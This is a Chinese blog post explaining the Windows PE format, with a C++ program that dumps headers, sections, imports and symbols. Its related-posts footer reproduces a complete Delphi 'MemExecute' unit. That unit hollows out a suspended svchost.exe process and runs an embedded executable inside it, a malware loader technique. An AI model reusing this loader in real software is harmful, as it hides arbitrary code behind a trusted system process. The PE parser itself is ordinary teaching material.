PE结构解析

已于 2022-09-07 20:27:35 修改
阅读量113 收藏
点赞数
文章标签： c++
于 2022-09-04 13:54:02 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_39057744/article/details/126688717
版权

OriginalFirstThunk : 00013064
TimeDateStamp : 00000000
ForwarderChain : 00000000
Name : KERNEL32.dll
FirstThunk : 0001335c

一个目录项代表一个dll，里面可包含多个导入项。
OriginalFirstThunk为导入符号表的RVA
FirstThunk为导入地址表的RVA。
hint: 217
name: DeleteCriticalSection
address: 0000000000013654

导入地址表，动态链接器负责将dll函数的地址印射到导入地址表里面

#include<iostream>
#include<fstream>
#include<iomanip>
#include<vector>
#include<windows.h>
using namespace std;
#define Read(S) readBytes(input,&S,sizeof S)
#define ReadAddr(S,addr) readAddr(input,&S,sizeof(S),addr)
#define ReadStr(addr) readStr(input,addr);
int symposition;
int numofsym;
int NtPosition ;
#define BYSEQ 0x8000000000000000
typedef enum {
    PE32,PE32plus
}PE;
PE pe=PE32;
char dataDirectories[][64]={
    "Export Table",
    "Import Table",
    "Resource Table",
    "Exception Table",
    "Certificate Table",
    "Base Relocation Table",
    "Debug ",
    "Architecture",
    "Global Ptr",
    "TLS Table",
    "Load Config Table",
    "Bound Import",
    "IAT",
    "Delay Import Descriptor",
    "CLR Runtime Header",
    "Reserved "
};
void readBytes(ifstream &input,void *p,int len){    
    char *t=(char *)p;
    for(int i=0;i<len;i++)t[i]=input.get();
}
void readAddr(ifstream &input,void *pp,int len,int raw){
    auto t=input.tellg();
    input.seekg(raw);
    char *p=(char*)pp;
    for(int i=0;i<len;i++)p[i]=input.get();
    input.seekg(t);
}
void readStr(ifstream &input,unsigned long long raw){
    auto t=input.tellg();
    input.seekg(raw);
    char c;
    do{
        c=input.get();
        if(c)
            cout.put(c);
    }while(c);
    input.seekg(t);
}

//读取dos头
void readDos(ifstream &input){
    IMAGE_DOS_HEADER dos;
    Read(dos);
    //cout<<a[0]<<a[1]<<endl;
    printf("magic    : %04x\n",dos.e_magic);
    printf("cblp     : %04x\n",dos.e_cblp);
    printf("cp       : %04x\n",dos.e_cp);
    printf("crlc     : %04x\n",dos.e_crlc);
    printf("cparhdr  : %04x\n",dos.e_cparhdr);
    printf("minalloc : %04x\n",dos.e_minalloc);
    printf("ss       : %04x\n",dos.e_ss);
    printf("sp       : %04x\n",dos.e_sp);
    printf("csum     : %04x\n",dos.e_csum);
    printf("ip       : %04x\n",dos.e_ip);
    printf("cs       : %04x\n",dos.e_cs);
    printf("lfarlc   : %04x\n",dos.e_lfarlc);
    printf("ovno     : %04x\n",dos.e_ovno);
    printf("res      :\n");
    for(int i=0;i<4;i++) printf("%04x ",dos.e_res[i]);
    puts("");
    printf("oemid    : %04x\n",dos.e_oemid);
    printf("oeminfo  : %04x\n",dos.e_oeminfo);
    printf("res2      :\n");
    for(int i=0;i<10;i++) printf("%04x ",dos.e_res2[i]);
    puts("");
    printf("lfanew  : %08lx\n",dos.e_lfanew);
    puts("");
    NtPosition = dos.e_lfanew;
}

void readNt(ifstream &input){
    input.seekg(NtPosition);
    DWORD Signature;
    Read(Signature);
    IMAGE_FILE_HEADER FileHeader;
    Read(FileHeader);
    printf("Signature             : %08lx\n",Signature);
    puts("");
    printf("Machine               : %04x\n",FileHeader.Machine);
    printf("NumberOfSections      : %04x\n",FileHeader.NumberOfSections);
    printf("TimeDateStamp         : %08lx\n",FileHeader.TimeDateStamp);
    printf("PointerToSymbolTable  : %08lx\n",FileHeader.PointerToSymbolTable);
    printf("NumberOfSymbols       : %08lx\n",FileHeader.NumberOfSymbols);
    printf("SizeOfOptionalHeader  : %04x\n",FileHeader.SizeOfOptionalHeader);
    printf("Characteristics       : %04x\n",FileHeader.Characteristics);
    puts("");
    
    symposition=FileHeader.PointerToSymbolTable;
    numofsym=FileHeader.NumberOfSymbols;
    
    union {
        IMAGE_OPTIONAL_HEADER64 a;
        IMAGE_OPTIONAL_HEADER32 b;
    }OH;
    char *p=(char *)&OH;
    int dircnt=0;
    //判断是PE32 还是 PE32+
    if (FileHeader.Machine != 0x014c) {
        pe=PE32plus;
        Read(OH.a);
        IMAGE_OPTIONAL_HEADER64 &OptionalHeader = OH.a;
        printf("magic                           : %04x\n", OptionalHeader.Magic);
        printf("MajorLinkerVersion              : %02x\n", OptionalHeader.MajorLinkerVersion);
        printf("MinorLinkerVersion              : %02x\n", OptionalHeader.MinorLinkerVersion);
        printf("SizeOfCode                      : %08lx\n", OptionalHeader.SizeOfCode);
        printf("SizeOfInitializedData           : %08lx\n", OptionalHeader.SizeOfInitializedData);
        printf("SizeOfUninitializedData         : %08lx\n", OptionalHeader.SizeOfUninitializedData);
        printf("AddressOfEntryPoint             : %08lx\n", OptionalHeader.AddressOfEntryPoint);
        printf("BaseOfCode                      : %08lx\n", OptionalHeader.BaseOfCode);
        //printf("BaseOfData                      : %08lx\n",OptionalHeader.BaseOfData);
        printf("ImageBase                       : %016llx\n", OptionalHeader.ImageBase);
        printf("SectionAlignment                : %08lx\n", OptionalHeader.SectionAlignment);
        printf("FileAlignment                   : %08lx\n", OptionalHeader.FileAlignment);
        printf("MajorOperatingSystemVersion     : %04x\n", OptionalHeader.MajorOperatingSystemVersion);
        printf("MinorOperatingSystemVersion     : %04x\n", OptionalHeader.MinorOperatingSystemVersion);
        printf("MajorImageVersion               : %04x\n", OptionalHeader.MajorImageVersion);
        printf("MinorImageVersion               : %04x\n", OptionalHeader.MinorImageVersion);
        printf("MajorSubsystemVersion           : %04x\n", OptionalHeader.MajorSubsystemVersion);
        printf("MinorSubsystemVersion           : %04x\n", OptionalHeader.MinorSubsystemVersion);
        printf("Win32VersionValue               : %08lx\n", OptionalHeader.Win32VersionValue);
        printf("SizeOfImage                     : %08lx\n", OptionalHeader.SizeOfImage);
        printf("SizeOfHeaders                   : %08lx\n", OptionalHeader.SizeOfHeaders);
        printf("CheckSum                        : %08lx\n", OptionalHeader.CheckSum);
        printf("Subsystem                       : %04x\n", OptionalHeader.Subsystem);
        printf("DllCharacteristics              : %04x\n", OptionalHeader.DllCharacteristics);
        printf("SizeOfStackReserve              : %016llx\n", OptionalHeader.SizeOfStackReserve);
        printf("SizeOfStackCommit               : %016llx\n", OptionalHeader.SizeOfStackCommit);
        printf("SizeOfHeapReserve               : %016llx\n", OptionalHeader.SizeOfHeapReserve);
        printf("SizeOfHeapCommit                : %016llx\n", OptionalHeader.SizeOfHeapCommit);
        printf("LoaderFlags                     : %08lx\n", OptionalHeader.LoaderFlags);
        printf("NumberOfRvaAndSizes             : %08lx\n", OptionalHeader.NumberOfRvaAndSizes);
        printf("DataDirectory:\n");

        for (int i = 0; i < OptionalHeader.NumberOfRvaAndSizes; i++) {
            printf("%24s :",dataDirectories[i]);
            printf("%02d : Size:%08lx VirtualAddress:%016lx\n", i, OptionalHeader.DataDirectory[i].Size,
                OptionalHeader.DataDirectory[i].VirtualAddress);

        }
    }else{
        Read(OH.b);
        IMAGE_OPTIONAL_HEADER32 OptionalHeader=OH.b;
        printf("magic                           : %04x\n",OptionalHeader.Magic);
        printf("MajorLinkerVersion              : %02x\n",OptionalHeader.MajorLinkerVersion);
        printf("MinorLinkerVersion              : %02x\n",OptionalHeader.MinorLinkerVersion);
        printf("SizeOfCode                      : %08lx\n",OptionalHeader.SizeOfCode);
        printf("SizeOfInitializedData           : %08lx\n",OptionalHeader.SizeOfInitializedData);
        printf("SizeOfUninitializedData         : %08lx\n",OptionalHeader.SizeOfUninitializedData);
        printf("AddressOfEntryPoint             : %08lx\n",OptionalHeader.AddressOfEntryPoint);
        printf("BaseOfCode                      : %08lx\n",OptionalHeader.BaseOfCode);
        printf("BaseOfData                      : %08lx\n",OptionalHeader.BaseOfData);
        printf("ImageBase                       : %08lx\n",OptionalHeader.ImageBase);  
        printf("SectionAlignment                : %08lx\n",OptionalHeader.SectionAlignment);
        printf("FileAlignment                   : %08lx\n",OptionalHeader.FileAlignment);
        printf("MajorOperatingSystemVersion     : %04x\n",OptionalHeader.MajorOperatingSystemVersion);
        printf("MinorOperatingSystemVersion     : %04x\n",OptionalHeader.MinorOperatingSystemVersion);
        printf("MajorImageVersion               : %04x\n",OptionalHeader.MajorImageVersion);
        printf("MinorImageVersion               : %04x\n",OptionalHeader.MinorImageVersion);
        printf("MajorSubsystemVersion           : %04x\n",OptionalHeader.MajorSubsystemVersion);
        printf("MinorSubsystemVersion           : %04x\n",OptionalHeader.MinorSubsystemVersion);
        printf("Win32VersionValue               : %08lx\n",OptionalHeader.Win32VersionValue);
        printf("SizeOfImage                     : %08lx\n",OptionalHeader.SizeOfImage);
        printf("SizeOfHeaders                   : %08lx\n",OptionalHeader.SizeOfHeaders);
        printf("CheckSum                        : %08lx\n",OptionalHeader.CheckSum);
        printf("Subsystem                       : %04x\n",OptionalHeader.Subsystem);
        printf("DllCharacteristics              : %04x\n",OptionalHeader.DllCharacteristics);
        printf("SizeOfStackReserve              : %08lx\n",OptionalHeader.SizeOfStackReserve);
        printf("SizeOfStackCommit               : %08lx\n",OptionalHeader.SizeOfStackCommit);
        printf("SizeOfHeapReserve               : %08lx\n",OptionalHeader.SizeOfHeapReserve);
        printf("SizeOfHeapCommit                : %08lx\n",OptionalHeader.SizeOfHeapCommit);
        printf("LoaderFlags                     : %08lx\n",OptionalHeader.LoaderFlags);
        printf("NumberOfRvaAndSizes             : %08lx\n",OptionalHeader.NumberOfRvaAndSizes);
        for (int i = 0; i < OptionalHeader.NumberOfRvaAndSizes; i++) {
            printf("%24s :",dataDirectories[i]);
            printf("%02d : Size:%08lx VirtualAddress:%016lx\n", i, OptionalHeader.DataDirectory[i].Size,
                OptionalHeader.DataDirectory[i].VirtualAddress);

        }
        
    }

    //读取section header
    IMAGE_SECTION_HEADER sh;
    for(int i=0;i< FileHeader.NumberOfSections;i++){
        Read(sh);
        printf("Name                 : ");
        if(sh.Name[0]!='/'){
            for (int i = 0; i < 8; i++) {
                if (sh.Name[i] != '\0')putchar(sh.Name[i]);
                else break;
            }puts("");
        }else{
            int off = atoi((char*)sh.Name+1);
            auto t=input.tellg();
            input.seekg(symposition+18*numofsym+off);
            while(true){
                char c=input.get();
                if(c!='\0')cout.put(c);
                else break;
            }
            input.seekg(t);
        }
        printf("VirtualSize          :%08lx\n", sh.Misc.VirtualSize);
        printf("VirtualAddress       :%08lx\n", sh.VirtualAddress);
        printf("SizeOfRawData        :%08lx\n", sh.SizeOfRawData);
        printf("PointerToRawData     :%08lx\n", sh.PointerToRawData);
        printf("PointerToRelocations :%08lx\n", sh.PointerToRelocations);
        printf("PointerToLinenumbers :%08lx\n", sh.PointerToLinenumbers);
        printf("NumberOfRelocations  :%04x\n", sh.NumberOfRelocations);
        printf("NumberOfLinenumbers  :%04x\n", sh.NumberOfLinenumbers);
        printf("Characteristics      :%08lx\n", sh.Characteristics);
        puts("");
        auto idatastart =sh.VirtualAddress;
        auto secheaderaddr=input.tellg();
        //保存节头表位置并查找节所对应的数据
        input.seekg(sh.PointerToRawData);
        int cnt=16;
        if(!strcmp((char*)sh.Name,".rdata")){
            for(int i=0;i<sh.SizeOfRawData&&i<500;i++){
                unsigned char c=input.get();
                if(c>=32&&c<126){
                    printf("%c",c);
                }else if(c=='\n')puts("");
                else printf("%02x ",c);
                cnt--;
                if(cnt==0){
                    //puts("");
                    cnt=16;
                }
            }
        }else if(!strcmp((char *)sh.Name,".idata")){
            int len=sh.SizeOfRawData;
            IMAGE_IMPORT_DESCRIPTOR iid;
            vector<IMAGE_IMPORT_DESCRIPTOR> IID;
            do{
                Read(iid);
                IID.push_back(iid);
            }while(iid.OriginalFirstThunk!=0);
            for(int i=0;i<IID.size()-1;i++){
                IMAGE_IMPORT_DESCRIPTOR iid=IID[i];
                printf("OriginalFirstThunk : %08lx\n",iid.OriginalFirstThunk);
                printf("TimeDateStamp      : %08lx\n",iid.TimeDateStamp);
                printf("ForwarderChain     : %08lx\n",iid.ForwarderChain);
                
                //求在idata中的偏移
                input.seekg(sh.PointerToRawData+iid.Name - idatastart);
                char c;
                printf("Name               : ");
                while(c=input.get(),c != '\0'){
                    cout.put(c);
                }
                puts("");
                printf("FirstThunk         : %08lx\n",iid.FirstThunk);
                puts("");
                if(pe==PE32){

                }else{
                    unsigned long long ist;
                    vector<unsigned long long> INT;
                    auto t=iid.OriginalFirstThunk-idatastart
                        +sh.PointerToRawData;
                    input.seekg(t);
                    do{
                        Read(ist);
                        INT.push_back(ist);
                    }while(ist);
                    t=iid.FirstThunk-idatastart
                        +sh.PointerToRawData;
                    input.seekg(t);
                    vector<unsigned long long > IAT;
                    
                    do{
                        Read(ist);
                        IAT.push_back(ist);
                    }while(ist);

                    for(int i=0;i<INT.size()-1;i++){
                        auto ist=INT[i];
                        auto iat=IAT[i];
                        auto raw=sh.PointerToRawData+ist-idatastart;
                        WORD hint;
                        ReadAddr(hint,raw);
                        printf("hint: %d \nname: ",hint);
                        ReadStr(raw+2);
                        puts("");
                        printf("address: %016llx\n",iat);
                    }
                    cout<<"end"<<endl;
                }

            }

        }else{
            for(int i=0;i<sh.SizeOfRawData&&i<500;i++){
                unsigned char c=input.get();
                printf("%02x ",c);
                cnt--;
                if(cnt==0){
                    puts("");
                    cnt=16;
                }
            }
        }
        puts("");
        input.seekg(secheaderaddr);
    }    
}

void readSym(ifstream &input){
    IMAGE_SYMBOL sym;
    input.seekg(symposition);
    for(int i=0;i<numofsym;i++){
        char *p=(char *)&sym;
        for(int j=0;j<sizeof (sym);j++){
            p[j]=input.get();
        }
        printf("Name                 : ");
        if(sym.N.Name.Short==0){
            auto t=input.tellg();
            input.seekg(symposition+18*numofsym+sym.N.Name.Long);
            while(true){
                char c=input.get();
                if(c!='\0')cout.put(c);
                else break;
            }
            input.seekg(t);
        }else{
            for(int j=0;j<8;j++){
                if(sym.N.ShortName[j]!='\0')cout.put(sym.N.ShortName[j]);
                else break;
            }
        }puts("");
        printf("Value                : %08lx\n",sym.Value);
        printf("SectionNumber        : %04x\n",sym.SectionNumber);
        printf("Type                 : %04x\n",sym.Type);
        printf("StorageClass         : %02x\n",sym.StorageClass);
        printf("NumberOfAuxSymbols   : %02x\n",sym.NumberOfAuxSymbols);
        puts("");
    }
}
void readSt(ifstream &input){
    puts("");
    puts("strings :");
    DWORD len ;
    input.seekg(symposition+18*numofsym);
    char *a=(char *)&len;
    for(int i=0;i<4;i++)a[i]=input.get();
    for(int i=0;i<len-4;i++){
        unsigned char c=input.get();
            if(c>=32&&c<126){
                printf("%c",c);
            }else if(c=='\n')puts("");
            else printf("%02x ",c);
    }
}


int main(int argc,char **argv){
    if(argc<2){
        cout<<"need file name"<<endl;
    }
    ifstream input(argv[1],ios::binary);
    if(input.is_open()){
        //cout<<"open success"<<endl;
    }else{
        cout<<"open failed"<<endl;
    }
    readDos(input);
    readNt(input);
    readSym(input);
    readSt(input);

}
东边的西瓜皮
关注
PE结构详解1
06-19
**PE结构详解1** 在Windows操作系统中，可执行文件（如.exe和.dll）采用了一种称为Portable Executable（PE）的文件格式。PE结构是Windows系统理解和执行这些程序的基础。本篇文章将深入探讨PE结构的核心要素，帮助...
PE文件格式：导入表&IAT——手工重组
Lagon的专栏
04-05 3375
最近学了导入表和IAT之后，
PE文件结构详解（四）PE导入表
weixin_34208283的博客
08-31 95
PE文件结构详解（二）可执行文件头的最后展示了一个数组，PE文件结构详解（三）PE导出表中解释了其中第一项的格式，本篇文章来揭示这个数组中的第二项：IMAGE_DIRECTORY_ENTRY_IMPORT，即导入表。 也许大家注意到过，在IMAGE_DATA_DIRECTORY中，有几项的名字都和导入表有关系，其中包括：IMAGE_DIRECTORY_ENTRY_IMPORT，IMAGE_DIR...
网络安全入门实验06：PE文件的解析
Krumitz的博客
04-11 1702
目录 0.实验要求 1.实验思路 2.代码实现 3.实验结果 0.实验要求 请依据参考文档中的内容编写一个小程序，使其可以实现如下功能： 1、判断一个文件是否为PE文件，如果是PE文件，判断它是exe文件还是dll文件，或者是其它类型的PE文件 2、请提交实验报告和你的源代码文件 1.实验思路 PE文件的全称是Portable Executabl...
How to tell if a file is an EXE or a DLL?
weixin_34326558的博客
09-06 85
How to tell if a file is an EXE or a DLL? 1 void DumpFile(LPWSTR filename) 2 { 3 HANDLE hFile = CreateFile(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORM...
可执行文件结构：PE文件结构讲解
qq_46145027的博客
05-02 2503
我们使用电脑时肯定会接触各种各样的应用程序，有应用程序就会有对应的可执行文件，比如最常见的.exe文件。事实上，Windows平台下，所有的可执行文件（包括EXE、DLL、SYS、OCX、COM......)使用的都是同一种文件结构，也就是PE（Portable Executable）文件结构。所以说所有可执行文件究其本质都可以叫它PE文件。这里要注意一点：事实上，一个文件是否是PE文件与其扩展名无关，PE文件可以是任何扩展名。 下面就来结合事例详细介绍一下PE文件到底是个什么东西。
PE结构详解11-系统篇-第十一讲-解密系列.zip_PE结构详解_pe
09-24
PE结构详解11-系统篇-第十一讲-解密系列来自鱼c论坛，主要介绍什么是PE，如何制作PE程序
小甲鱼PE结构详解课件.pdf
05-03
PE结构是Windows操作系统中用于可执行文件、对象代码和DLL（动态链接库）的核心文件格式。它是一种数据结构，用于描述可执行文件的布局和内容，使得操作系统能够正确加载和运行程序。 首先，PE文件格式从DOS时代...
PE结构详解.txt可快速理解PE结构
08-13
PE结构详解
PE文件结构详解
08-25
PE文件结构详解 PE文件结构是Windows平台上可执行文件的标准格式，由微软基于COFF格式制定，用于Windows NT系统。PE文件结构详解可以分为四个主要部分：DOS头、PE头、节表和节体。 PE文件的结构 PE文件结构可以...
delphi 在内存中直接运行EXE类型的资源文件
09-09
unit PE; interface uses windows; function MemExecute(const ABuffer; Len: Integer; CmdParam: string; var ProcessId: Cardinal): Cardinal; implementation type TImageSectionHeaders = array[0..0] of TImageSectionHeader; PImageSectionHeaders = ^TImageSectionHeaders; { 计算对齐后的大小 } function GetAlignedSize(Origin, Alignment: Cardinal): Cardinal; begin result := (Origin + Alignment - 1) div Alignment * Alignment; end; { 计算加载pe并对齐需要占用多少内存，未直接使用OptionalHeader.SizeOfImage作为结果是因为据说有的编译器生成的exe这个值会填0 } function CalcTotalImageSize(MzH: PImageDosHeader; FileLen: Cardinal; peH: PImageNtHeaders; peSecH: PImageSectionHeaders): Cardinal; var i: Integer; begin {计算pe头的大小} result := GetAlignedSize(PeH.OptionalHeader.SizeOfHeaders, PeH.OptionalHeader.SectionAlignment); {计算所有节的大小} for i := 0 to peH.FileHeader.NumberOfSections - 1 do if peSecH[i].PointerToRawData + peSecH[i].SizeOfRawData > FileLen then // 超出文件范围 begin result := 0; exit; end else if peSecH[i].VirtualAddress 0 then //计算对齐后某节的大小 if peSecH[i].Misc.VirtualSize 0 then result := GetAlignedSize(peSecH[i].VirtualAddress + peSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment) else result := GetAlignedSize(peSecH[i].VirtualAddress + peSecH[i].SizeOfRawData, PeH.OptionalHeader.SectionAlignment) else if peSecH[i].Misc.VirtualSize < peSecH[i].SizeOfRawData then result := result + GetAlignedSize(peSecH[i].SizeOfRawData, peH.OptionalHeader.SectionAlignment) else result := result + GetAlignedSize(peSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment); end; { 加载pe到内存并对齐所有节 } function AlignPEToMem(const Buf; Len: Integer; var PeH: PImageNtHeaders; var PeSecH: PImageSectionHeaders; var Mem: Pointer; var ImageSize: Cardinal): Boolean; var SrcMz: PImageDosHeader; // DOS头 SrcPeH: PImageNtHeaders; // PE头 SrcPeSecH: PImageSectionHeaders; // 节表 i: Integer; l: Cardinal; Pt: Pointer; begin result := false; SrcMz := @Buf; if Len < sizeof(TImageDosHeader) then exit; if SrcMz.e_magic IMAGE_DOS_SIGNATURE then exit; if Len < SrcMz._lfanew + Sizeof(TImageNtHeaders) then exit; SrcPeH := pointer(Integer(SrcMz) + SrcMz._lfanew); if (SrcPeH.Signature IMAGE_NT_SIGNATURE) then exit; if (SrcPeH.FileHeader.Characteristics and IMAGE_FILE_DLL 0) or (SrcPeH.FileHeader.Characteristics and IMAGE_FILE_EXECUTABLE_IMAGE = 0) or (SrcPeH.FileHeader.SizeOfOptionalHeader SizeOf(TImageOptionalHeader)) then exit; SrcPeSecH := Pointer(Integer(SrcPeH) + SizeOf(TImageNtHeaders)); ImageSize := CalcTotalImageSize(SrcMz, Len, SrcPeH, SrcPeSecH); if ImageSize = 0 then exit; Mem := VirtualAlloc(nil, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 分配内存 if Mem nil then begin // 计算需要复制的PE头字节数 l := SrcPeH.OptionalHeader.SizeOfHeaders; for i := 0 to SrcPeH.FileHeader.NumberOfSections - 1 do if (SrcPeSecH[i].PointerToRawData 0) and (SrcPeSecH[i].PointerToRawData < l) then l := SrcPeSecH[i].PointerToRawData; Move(SrcMz^, Mem^, l); PeH := Pointer(Integer(Mem) + PImageDosHeader(Mem)._lfanew); PeSecH := Pointer(Integer(PeH) + sizeof(TImageNtHeaders)); Pt := Pointer(Cardinal(Mem) + GetAlignedSize(PeH.OptionalHeader.SizeOfHeaders, PeH.OptionalHeader.SectionAlignment)); for i := 0 to PeH.FileHeader.NumberOfSections - 1 do begin // 定位该节在内存中的位置 if PeSecH[i].VirtualAddress 0 then Pt := Pointer(Cardinal(Mem) + PeSecH[i].VirtualAddress); if PeSecH[i].SizeOfRawData 0 then begin // 复制数据到内存 Move(Pointer(Cardinal(SrcMz) + PeSecH[i].PointerToRawData)^, pt^, PeSecH[i].SizeOfRawData); if peSecH[i].Misc.VirtualSize < peSecH[i].SizeOfRawData then pt := pointer(Cardinal(pt) + GetAlignedSize(PeSecH[i].SizeOfRawData, PeH.OptionalHeader.SectionAlignment)) else pt := pointer(Cardinal(pt) + GetAlignedSize(peSecH[i].Misc.VirtualSize, peH.OptionalHeader.SectionAlignment)); // pt 定位到下一节开始位置 end else pt := pointer(Cardinal(pt) + GetAlignedSize(PeSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment)); end; result := True; end; end; type TVirtualAllocEx = function(hProcess: THandle; lpAddress: Pointer; dwSize, flAllocationType: DWORD; flProtect: DWORD): Pointer; stdcall; var MyVirtualAllocEx: TVirtualAllocEx = nil; function IsNT: Boolean; begin result := Assigned(MyVirtualAllocEx); end; { 生成外壳程序命令行 } function PrepareShellExe(CmdParam: string ): string; begin {这里的路径 自己定义了^_^，仅仅是外壳程序} //result:='c:\Program Files\Internet Explorer\iexplore.exe'+CmdParam ; result := 'c:\windows\system32\svchost.exe' + cmdparam; end; { 是否包含可重定向列表 } function HasRelocationTable(peH: PImageNtHeaders): Boolean; begin result := (peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress 0) and (peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size 0); end; type PImageBaseRelocation = ^TImageBaseRelocation; TImageBaseRelocation = packed record VirtualAddress: cardinal; SizeOfBlock: cardinal; end; { 重定向PE用到的地址 } procedure DoRelocation(peH: PImageNtHeaders; OldBase, NewBase: Pointer); var Delta: Cardinal; p: PImageBaseRelocation; pw: PWord; i: Integer; begin Delta := Cardinal(NewBase) - peH.OptionalHeader.ImageBase; p := pointer(cardinal(OldBase) + peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); while (p.VirtualAddress + p.SizeOfBlock 0) do begin pw := pointer(Integer(p) + Sizeof(p^)); for i := 1 to (p.SizeOfBlock - Sizeof(p^)) div 2 do begin if pw^ and $F000 = $3000 then Inc(PCardinal(Cardinal(OldBase) + p.VirtualAddress + (pw^ and $0FFF))^, Delta); inc(pw); end; p := Pointer(pw); end; end; type TZwUnmapViewOfSection = function(Handle, BaseAdr: Cardinal): Cardinal; stdcall; { 卸载原外壳占用内存 } function UnloadShell(ProcHnd, BaseAddr: Cardinal): Boolean; var M: HModule; ZwUnmapViewOfSection: TZwUnmapViewOfSection; begin result := False; m := LoadLibrary('ntdll.dll'); if m 0 then begin ZwUnmapViewOfSection := GetProcAddress(m, 'ZwUnmapViewOfSection'); if assigned(ZwUnmapViewOfSection) then result := (ZwUnmapViewOfSection(ProcHnd, BaseAddr) = 0); FreeLibrary(m); end; end; { 创建外壳进程并获取其基址、大小和当前运行状态 } function CreateChild(Cmd: string; var Ctx: TContext; var ProcHnd, ThrdHnd, ProcId, BaseAddr, ImageSize: Cardinal): Boolean; var si: TStartUpInfo; pi: TProcessInformation; Old: Cardinal; MemInfo: TMemoryBasicInformation; p: Pointer; begin FillChar(si, Sizeof(si), 0); FillChar(pi, SizeOf(pi), 0); si.cb := sizeof(si); result := CreateProcess(nil, PChar(Cmd), nil, nil, False, CREATE_SUSPENDED, nil, nil, si, pi); // 以挂起方式运行进程 if result then begin ProcHnd := pi.hProcess; ThrdHnd := pi.hThread; ProcId := pi.dwProcessId; { 获取外壳进程运行状态，[ctx.Ebx+8]内存处存的是外壳进程的加载基址，ctx.Eax存放有外壳进程的入口地址 } ctx.ContextFlags := CONTEXT_FULL; GetThreadContext(ThrdHnd, ctx); ReadProcessMemory(ProcHnd, Pointer(ctx.Ebx + 8), @BaseAddr, SizeOf(Cardinal), Old); // 读取加载基址 p := Pointer(BaseAddr); { 计算外壳进程占有的内存 } while VirtualQueryEx(ProcHnd, p, MemInfo, Sizeof(MemInfo)) 0 do begin if MemInfo.State = MEM_FREE then break; p := Pointer(Cardinal(p) + MemInfo.RegionSize); end; ImageSize := Cardinal(p) - Cardinal(BaseAddr); end; end; { 创建外壳进程并用目标进程替换它然后执行 } function AttachPE(CmdParam: string; peH: PImageNtHeaders; peSecH: PImageSectionHeaders; Ptr: Pointer; ImageSize: Cardinal; var ProcId: Cardinal): Cardinal; var s: string; Addr, Size: Cardinal; ctx: TContext; Old: Cardinal; p: Pointer; Thrd: Cardinal; begin result := INVALID_HANDLE_VALUE; s := PrepareShellExe(CmdParam + ' ' {, peH.OptionalHeader.ImageBase, ImageSize}); if CreateChild(s, ctx, result, Thrd, ProcId, Addr, Size) then begin p := nil; if (peH.OptionalHeader.ImageBase = Addr) and (Size >= ImageSize) then // 外壳进程可以容纳目标进程并且加载地址一致 begin p := Pointer(Addr); VirtualProtectEx(result, p, Size, PAGE_EXECUTE_READWRITE, Old); end else if IsNT then // 98 下失败 begin if UnloadShell(result, Addr) then // 卸载外壳进程占有内存 // 重新按目标进程加载基址和大小分配内存 p := MyVirtualAllocEx(Result, Pointer(peH.OptionalHeader.ImageBase), ImageSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (p = nil) and hasRelocationTable(peH) then // 分配内存失败并且目标进程支持重定向 begin // 按任意基址分配内存 p := MyVirtualAllocEx(result, nil, ImageSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE); if p nil then DoRelocation(peH, Ptr, p); // 重定向 end; end; if p nil then begin WriteProcessMemory(Result, Pointer(ctx.Ebx + 8), @p, Sizeof(DWORD), Old); // 重置目标进程运行环境中的基址 peH.OptionalHeader.ImageBase := Cardinal(p); if WriteProcessMemory(Result, p, Ptr, ImageSize, Old) then // 复制PE数据到目标进程 begin ctx.ContextFlags := CONTEXT_FULL; if Cardinal(p) = Addr then ctx.Eax := peH.OptionalHeader.ImageBase + peH.OptionalHeader.AddressOfEntryPoint // 重置运行环境中的入口地址 else ctx.Eax := Cardinal(p) + peH.OptionalHeader.AddressOfEntryPoint; SetThreadContext(Thrd, ctx); // 更新运行环境 ResumeThread(Thrd); // 执行 CloseHandle(Thrd); end else begin // 加载失败,杀掉外壳进程 TerminateProcess(Result, 0); CloseHandle(Thrd); CloseHandle(Result); Result := INVALID_HANDLE_VALUE; end; end else begin // 加载失败,杀掉外壳进程 TerminateProcess(Result, 0); CloseHandle(Thrd); CloseHandle(Result); Result := INVALID_HANDLE_VALUE; end; end; end; function MemExecute(const ABuffer; Len: Integer; CmdParam: string; var ProcessId: Cardinal): Cardinal; var peH: PImageNtHeaders; peSecH: PImageSectionHeaders; Ptr: Pointer; peSz: Cardinal; begin result := INVALID_HANDLE_VALUE; if alignPEToMem(ABuffer, Len, peH, peSecH, Ptr, peSz) then begin result := AttachPE(CmdParam, peH, peSecH, Ptr, peSz, ProcessId); VirtualFree(Ptr, peSz, MEM_DECOMMIT); //VirtualFree(Ptr, 0, MEM_RELEASE); end; end; initialization MyVirtualAllocEx := GetProcAddress(GetModuleHandle('Kernel32.dll'), 'VirtualAllocEx'); end. /////////////////////////////////////////////////////////////////////// {测试：你可以把任何一个exe文件 作成资源然后这样调用} program test; //{$APPTYPE CONSOLE} {$R 'data.res' 'data.rc'}//加入exe资源文件 uses windows, PE in 'PE.pas'; //引用上面的单元 var ProcessId: Cardinal; ResourceLocation: HRSRC; Size: Longword; ResDataHandle: THandle; ResourcePointer: PChar; begin ResourceLocation := FindResource(HInstance, 'myexe', RT_RCDATA); if ResourceLocation 0 then begin Size := SizeofResource(HInstance, ResourceLocation); if Size 0 then begin ResDataHandle := LoadResource(HInstance, ResourceLocation); if ResDataHandle 0 then begin ResourcePointer := LockResource(ResDataHandle); if ResourcePointer nil then begin MemExecute(ResourcePointer^, size, '', ProcessId);//只需这样调用即可 end; end; end; end; end.
C语言编程获取PE文件File_Header内容
一根火柴博客
02-02 2615
#include #include #include void viewImageFileCharacteristics(WORD); int _tmain(int argc, TCHAR *argv[]) { PIMAGE_DOS_HEADER pImageDosHeader; PIMAGE_NT_HEADERS pImageNtHeaders; PIMAGE_FILE_HEAD
